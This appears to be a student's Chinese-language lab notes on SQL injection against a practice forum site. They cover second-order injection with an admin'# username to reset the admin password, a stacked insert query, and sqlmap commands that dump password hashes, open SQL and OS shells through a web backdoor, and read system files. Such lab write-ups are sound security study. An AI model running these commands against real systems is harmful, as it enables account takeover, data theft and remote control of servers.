2-03SQL注入漏洞------------2

二次盲注

⼆次注⼊是指已存储(数据库、⽂件)的⽤户输⼊被读取后,再次进⼊到SQL查询语句中导致 的注⼊

几乎所有任何网站后台都有一个用户叫admin 密码123456 先注册一个新的用户

admin-123456

碰撞用户账户

-刺探成功

我自己去注册一个 admin'#

登录admin'#,然后修改密码--记一下改后的是456789

-这是之前 刷新后,改变的是admin的密码,admin'#没有变

查看原因

源码 \bbs\member\updatePwd.php

bash 复制代码
update users set password=md5('123456')wherename='admin'#'

简单来说就是sql的数据库语法 注释掉后面的内容 比如# 还有一个--也是

堆叠注入

在SQL数据库中,每条语句是以;分开的,堆叠注⼊就是⼀次性注⼊并执⾏多条语句(多语句之间以分号 隔开)的注⼊⽅式。(故事:地铁出站套票⼀次性进两个⼈)

union联合查询注⼊执⾏的语句类型是有限的,可以⽤来执⾏查询语句。堆叠注⼊可以执⾏的是任意的语句,如增删改等

要堆叠,知道那个表结构用前面知识点获取表名字段名

然后

sql 复制代码
?id=2;insert into users (name,password) values('ddd',md5('ddd'));

堆叠不止 insert 还有delete 还有update

SQLMap

sqlmap是⼀个开源的渗透测试⼯具,它可以⾃动化检测和利⽤SQL注⼊漏洞并接管数据库服务器。它有 ⼀个强⼤的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项 如果平时要探测bbs这个网站 这不得看看自己物理机ip

##SQLMap检测漏洞--探测目标网站有没有sql注入漏洞

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1'

有这些东西 就代表着这些东西漏洞都是存在的--PHP具体版本 Apache

查询bbs网站当前数据库;当前数据库 --current-db

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --current-db

查看bbs网站的库有哪些表

kali 复制代码
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt --tables

当前表有哪些字段 列

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users --columns

列出内容

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users -C password --dump#卡住的话不停的敲回⻋输⼊y

过程就是y到底,有一个选择字典,直接回车就行,然后在努力哈希破解

和老师的不太一样 但是 无所谓了先 得到那些密码

可以后期自己哈希解去 第三个解的很慢是因为我前面 做堆叠的时候改了admin的密码456789

老师的就长这样

扩展操作

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --sql-shell

退出语句

密码爆破

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --password

系统命令

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --os-shell

该靶机的 web 应用技术是PHP 5.4.45,选择与当前 web 语言匹配的 "PHP" 选项,才能成功创建 web 后门并获取操作系统命令行 shell。

文件读取

出了问题

成功版本👇我把这个文件名称改了一下就行了,疑似第一次创的时候带入了奇怪字符或者电脑缓存没到位

arduino 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt"

中间做的努力有

先执行基础注入命令,确认id参数确实存在 SQL 注入漏洞,避免在无效注入点上尝试高权限操作

lua 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --dbs

然后得出

添加-v 3参数(详细输出执行过程),sqlmap 会显示文件读取过程中的具体错误(如「权限不足」「路径被禁止」),方便定位问题

arduino 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt" -v 3

得出

放弃自定义的e.txt,先尝试读取靶机系统默认存在、且权限宽松的文件,验证文件读取功能是否可用:

bash 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "C:/Windows/win.ini"

文件读取功能本身是正常的(因为成功读到了C:/Windows/win.ini),问题只出在「靶机上的E:/e.txt实际不存在 / 路径错误」

具体分析如下: 能成功读取靶机的C:/Windows/win.ini,说明:

  • 数据库用户有FILE权限
  • secure_file_priv配置无限制
  • 操作系统层面的文件读取权限正常 所以改了个名字成功了

回归主题

返回让我访问这个文件的内容

'/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt'

文件路径有了

bash 复制代码
cat '/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt' 

WAF安全狗

不要再物理机上装安全狗,会拖垮php, 卸载不掉就先这样吧

相关推荐
千寻girling2 小时前
一份不可多得的《微服务》教程
后端·面试·github
swipe4 小时前
从 0 到 1 理解 React 虚拟列表:定高、不定高与 Canvas 版本完整拆解
前端·javascript·面试
Ruihong6 小时前
🎉 VuReact 1.9.0 发布,支持 Vue 3.4 defineModel 编译到 React
vue.js·react.js·面试
假如让我当三天老蒯6 小时前
React基础、进阶(学习用)
前端·react.js·面试
swipe20 小时前
从 0 到 1 实现大文件上传:分片、秒传、断点续传、暂停、重试与服务端合并
前端·javascript·面试
阳火锅1 天前
😭测试小姐姐终于不骂我了!这个提BUG神器太香了...
前端·javascript·面试
林希_Rachel_傻希希1 天前
js里面的proxy理解。以及vue3响应式数据设计底层
前端·javascript·面试
用户1563068103511 天前
Day01 | 什么是Agent?
面试
写代码的皮筏艇1 天前
React中的forwardRef
前端·react.js·面试
蝎子莱莱爱打怪2 天前
XZLL-IM干货系列 03|消息 ID 设计:一个 UUID 搞不定的事,我用两个 ID 解决了
后端·面试·开源